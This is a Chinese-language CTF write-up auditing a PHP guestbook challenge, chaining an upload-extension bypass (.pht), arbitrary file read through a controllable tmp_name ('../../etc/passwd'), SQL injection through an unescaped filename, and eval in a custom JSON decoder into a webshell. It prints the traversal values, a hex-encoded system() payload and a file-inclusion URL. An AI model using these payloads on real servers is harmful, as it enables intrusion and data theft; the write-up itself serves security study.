0x00 代碼審計
首先,根據 tips 1: web 源码下载 sgbmwww.rar 下載源碼,然後就開始了審計。
大概看一下index.php的流程
if($_M['form']['submit']){
if($_M['form']['formname'] || $_FILES['file']['name']){
$upfile = new upfile();
$upfile->set('savepath', '');
$upfile->set('is_rename', $_M['form']['is_rename']);
$back = $upfile->upload($_M['form']['formname']);
}
$gb_array = [
"name" => htmlspecialchars(filter($_M['form']['name'])),
"message" => htmlspecialchars(filter($_M['form']['message'])),
"filename" => $back,
];
op($gb_array);
$content = jsonencode($gb_array);
$sql = "insert into guestbook(`content`) values('".$content."');";
op($sql);
$result = mysql_query($sql);
if($result)
{
echo "thx for your feedback~";
}else{
op(mysql_error());
}
}
主要是上傳漏洞getshell。
首先include_once 'init.php';
初始化文件裏面再包含兩個文件include 'config.php';include 'include.php';
config.php主要是數據庫配置。
include.php是一些公共函數,fifter和json處理。
/***
获取GET,POST,COOKIE,存放在$_M['form'],系统表单提交变量数组
*/
$_M['form'] =array();
isset($_REQUEST['GLOBALS']) && exit('Access Error');
foreach($_COOKIE as $_key => $_value) {
$_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);
}
foreach($_POST as $_key => $_value) {
$_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);
}
foreach($_GET as $_key => $_value) {
$_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);
}
再看upfile.php,一個上傳類。
獲取表單文件,過濾了php相關後綴
//文件后缀是否为合法后缀
$this->getext($filear["name"]); //获取允许的后缀
if (strtolower($this->ext)=='php'||strtolower($this->ext)=='php3'||strtolower($this->ext)=='php4'||strtolower($this->ext)=='php5') {
return false;
}
存在一個控制重命名功能
//文件名重命名
$this->set_savename($filear["name"], $this->is_rename);
0x01 非常規思路的黑科技
顧名思義,非常規思路就是繞過了出題人的解題思路達到突破getflag的目的。
主要代碼
if($_M['form']['formname'] || $_FILES['file']['name']){
$upfile = new upfile();
$upfile->set('savepath', '');
$upfile->set('is_rename', $_M['form']['is_rename']);
$back = $upfile->upload($_M['form']['formname']);
}
前天表單沒有is_rename
這個參數,可以抓包自行添加。
根據代碼
protected function set_savename($filename, $is_rename) {
if ($is_rename) {
srand((double)microtime() * 1000000);
$rnd = rand(100, 999);
$filename = date('U') + $rnd;
op(date('U') );
$filename = $filename.".".$this->ext;
} else {
當is_rename
為假的情況就是直接取用發送的文件名而不重命名。既is_rename=0
。
然後利用黑科技突破後綴的限制。
代碼裏限制了php、php3、php4、php5。但是忽略了pht這個也是能夠解析的後綴。
於是乎,秒破了。23333
這個思路,略猥瑣的樣子。
0x02 常規思路
其實一開始我不是用非常規思路。 也確實沒有第一時間想到pht這個黑科技。
if($_M['form']['formname'] || $_FILES['file']['name']){
這裡存在倆個輸入輸入來源,此處必有蹊蹺。
然後,跟進$back = $upfile->upload($_M['form']['formname']);
public function upload($form = '') {
global $_M;
if (is_array($form)) {
$filear = $form;
}else{
$filear = $_FILES[$form];
}
if(!$filear){
foreach($_FILES as $key => $val){
$filear = $_FILES[$key];
break;
}
}
...
可以自定義formname
參數而不用FILES表單。既$filear = $form;
。
再往下看
//复制文件
$upfileok=0;
$file_tmp=$filear["tmp_name"];
$file_name=$this->savepath.$this->savename;
if (function_exists("move_uploaded_file")) {
if (move_uploaded_file($file_tmp, $file_name)) {
$upfileok=1;
} else if (copy($file_tmp, $file_name)) {
$upfileok=1;
}
} elseif (copy($file_tmp, $file_name)) {
$upfileok=1;
}
if ($upfileok) {
@unlink($filear['tmp_name']); //Delete temporary files
}
可以看到,參數formname[name]
和formname[tmp_name]
是可控的。
再看數據來源過濾,只是進行了一下簡單的addslashes轉義
function daddslashes($string, $force = 0) {
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = trim(addslashes($string));
}
}
return $string;
}
於是就存在任意文件讀取了。
formname[tmp_name]
為任意文件,有讀取權限就能copy到upload目錄。
formname[tmp_name]=../../../../../../../../etc/passwd
成功讀取到了。
然後再看http頭可以知道是nginx服務器,於是就翻找其配置文件。
為什麼要找配置文件呢。因為題目來有sql的insert,還有jsondeconde等函數在源碼裏面根本沒用上。
必定還存在其他的源碼。有根據挑戰介紹,WEB:三个白猫寻找后台之旅,必定存在後臺。
然而掃目錄並沒有發現,估計是存在另一個網站。
通過非常規思路getflag之後,我問了下出題人,
沒想到這裡就是一個坑,由於結界是docker,通過反代理出來的。所以才顯示nginx,其實是apache服務器的。也確實存在另一個站點——後臺!
這個常規也是之後複現的。
formname[tmp_name]=../../../../../../../../etc/apache2/apache2.conf
formname[name]=vapache.txt
得到
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html/sgbmwww
</VirtualHost>
<VirtualHost *:8080>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html/sgbmadmin
</VirtualHost>
然後猜測sgbmadmin也存在源碼。
直接訪問8080端口是行不通的(出題人師傅說的,表示愣逼)
任意文件讀取再次走起,成功讀到了源碼包。
審計後臺的代碼。果斷發現用到了jsondecode()
。
function jsondecode($json){
if($json){
$convert = false;
$str = '$arr=';
for ($i=0; $i<strlen($json); $i++){
if (!$convert){
if (($json[$i] == '{') || ($json[$i] == '[')){
$str .= ' array(';
}else if (($json[$i] == '}') || ($json[$i] == ']')){
$str .= ')';
}else if ($json[$i] == ':'){
$str .= '=>';
}else{
$str .= $json[$i];
}
}else{
$str .= $json[$i];
}
if ($json[$i] == '"' && $json[($i-1)]!="\\"){
$convert = !$convert;
}
}
$str = str_replace(array('\\\\' ,'\\/'), array('\\' ,'/'), $str);
@eval($str . ';');
}else{
$arr = array();
}
return $arr;
}
很明顯,存在任意命令執行。
通過上傳一個非php解密後綴的文件,然後構造命令執行給文件改名達到getshell的目的。
命令執行是後臺文件才有的,所以要通過前臺頁面的文件包含漏洞調用。
首先,上傳一個vir.vir的shell文件。
回到index.php
$gb_array = [
"name" => htmlspecialchars(filter($_M['form']['name'])),
"message" => htmlspecialchars(filter($_M['form']['message'])),
"filename" => $back,
];
$content = jsonencode($gb_array);
$sql = "insert into guestbook(`content`) values('".$content."');";
$back的數據沒有經過htmlspecialchars(filter(
處理。
溯源,$back = $upfile->upload($_M['form']['formname']);
$back
來自$this->savename
。而$this->savename
有一個特殊的過濾導致轉義的單引號逃逸了。
我們可以同截斷單引號,構造特殊語句,把命令插入到數據庫。
由於mysql的特性,insert into table語句可以插入多条数据。
insert into guestbook(`content`) values('xxx'),('xxx');
我們在文件名輸入單引號'
,進過轉義變成\'
/,又因為
protected function set_savename($filename, $is_rename) {
if ($is_rename) {
...
} else {
...
$filename = str_replace(array(":", "*", "?", "|", "/" , "\\" , "\"" , "<" , ">" , "——" , " " ),'_',$filename);
...
使得\'
變成了_'
。
sql語句就編程了
insert into guestbook(`content`) values('{"name":"a","message":"a","filename":"upload\/_'"}');
#、( 和 ) 都沒有過濾,構造閉合第一條數據,再構造第二條命令數據,然後用 # 截斷。
命令數據轉16進制插入數據庫就ok了
system('mv /var/www/html/sgbmwww/upload/vir.vir /var/www/html/sgbmwww/upload/vir.php')
轉
0x73797374656D28276D76202F7661722F7777772F68746D6C2F7367626D7777772F75706C6F61642F7669722E766972202F7661722F7777772F68746D6C2F7367626D7777772F75706C6F61642F7669722E7068702729
既
formname[name]='),(0x73797374656D28276D76202F7661722F7777772F68746D6C2F7367626D7777772F75706C6F61642F7669722E766972202F7661722F7777772F68746D6C2F7367626D7777772F75706C6F61642F7669722E7068702729)#
formname[tmp_name]=任意內容
成功插入命令數據之後訪問
http://521fe8480e00135dc.jie.sangebaimao.com/index.php?class=../sgbmadmin/index
基本上就能成功執行任意命令,修改文件名getshell了。
出題人還很貼心,怕你的命令被別人刷沒,特意用
$sql = "select id,content from guestbook where content like '%".$_M['form']['search']."%' order by id desc limit 0,1;";
search一下你的命令就完美執行了。